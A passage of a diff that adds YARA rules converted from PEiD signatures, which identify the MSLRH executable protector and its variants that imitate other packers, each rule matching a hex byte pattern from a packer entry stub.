+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01209_MSLRH_0_32a__fake_UPX_0_89_6___1_02___1_05___1_24_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40}
+    condition:
+        $a
+}
+
+rule PEiD_01210_MSLRH_0_32a__fake_WWPack32_1_x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake WWPack32 1.x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52}
+    condition:
+        $a
+}
+
+rule PEiD_01211_MSLRH_0_32a__fake_yoda_s_cryptor_1_2_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake yoda's cryptor 1.2) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01212_MSLRH_v0_1____emadicius_
+{
+    meta:
+        description = "[MSLRH v0.1 -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01213_MSLRH_V0_31____emadicius_
+{
+    meta:
+        description = "[MSLRH V0.31 -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1}
+    condition:
+        $a
+}
+
+rule PEiD_01214_MSLRH_v0_31a_
+{
+    meta:
+        description = "[MSLRH v0.31a]"
+        ep_only = "false"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_01215_MSLRH_v0_31a_
+{
+    meta:
+        description = "[MSLRH v0.31a]"
+        ep_only = "false"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F CA C0 C7 91 0F CB C1 D9 0C 86 F9 86 D7 D1 D9 EB 01 A5 EB 01 11 EB 01 1D 0F C1 C2 0F CB 0F C1 C2 EB 01 A1 C0 E9 FD 0F C1 D1 EB 01 E3 0F CA 87 D9 EB 01 F3 0F CB 87 C2 0F C0 F9 D0 F7 EB 01 2F 0F C9 C0 DC C4 EB 01 35 0F CA D3 D1 86 C8 EB 01 01 0F C0 F5 87 C8 D0 DE EB 01 95 EB 01 E1 EB 01 FD EB 01 EC 87 D3 0F CB C1 DB 35 D3 E2 0F C8 86 E2 86 EC C1 FB 12 D2 EE 0F C9 D2 F6 0F CA 87 C3 C1 D3 B3 EB 01 BF D1 CB 87 C9 0F CA 0F C1 DB EB 01 44 C0 CA F2 0F C1 D1 0F CB EB 01 D3 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01216_MSLRH_v0_32a__fake__BJFNT_1_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake .BJFNT 1.3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01217_MSLRH_v0_32a__fake_ASPack_2_11d_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.11d) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01218_MSLRH_v0_32a__fake_ASPack_2_12_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.12) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01219_MSLRH_v0_32a__fake_ASPack_2_12_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.12) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01220_MSLRH_v0_32a__fake_EXE32Pack_1_3x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake EXE32Pack 1.3x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01221_MSLRH_v0_32a__fake_Microsoft_Visual_C_______emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake Microsoft Visual C++) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01222_MSLRH_v0_32a__fake_MSVC___6_0_DLL_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ 6.0 DLL) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01223_MSLRH_v0_32a__fake_MSVC___7_0_DLL_Method_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01224_MSLRH_v0_32a__fake_MSVC___DLL_Method_4_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ DLL Method 4) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01225_MSLRH_v0_32a__fake_Neolite_2_0_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake Neolite 2.0) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31 39 39 39 20 4E 65 6F 57 6F 72 78 20 49 6E 63 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 31 39 39 39 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 00 00 00 00 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01226_MSLRH_v0_32a__fake_nSPack_1_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake nSPack 1.3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01227_MSLRH_v0_32a__fake_PC_Guard_4_xx_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PC-Guard 4.xx) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01228_MSLRH_v0_32a__fake_PE_Crypt_1_02_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PE Crypt 1.02) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_01229_MSLRH_v0_32a__fake_PE_Lock_NT_2_04_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PE Lock NT 2.04) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01230_MSLRH_v0_32a__fake_PEBundle_0_2___3_x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEBundle 0.2 - 3.x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01231_MSLRH_v0_32a__fake_PEBundle_2_0x___2_4x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01232_MSLRH_v0_32a__fake_PECompact_1_4x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PECompact 1.4x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01233_MSLRH_v0_32a__fake_PESHiELD_0_25_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PESHiELD 0.25) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01234_MSLRH_v0_32a__fake_PEtite_2_1_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEtite 2.1) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01235_MSLRH_v0_32a__fake_PEX_0_99_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEX 0.99) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01236_MSLRH_v0_32a__fake_SVKP_1_11_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake SVKP 1.11) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01237_MSLRH_v0_32a__fake_UPX_0_89_6___1_02___1_05___1_24_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01238_MSLRH_v0_32a__fake_WWPack32_1_x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake WWPack32 1.x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52 61 66 61 6C 20 57 69 65 72 7A 62 69 63 6B 69 0D 0A 0D 0A 5D 5B 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01239_MSLRH_v0_32a__fake_yoda_s_cryptor_1_2_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake yoda's cryptor 1.2) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01240_MSLRH_v0_32a____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01241_MSLRH_v0_32a____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius (h)]"
+        ep_only = "false"
+    strings:
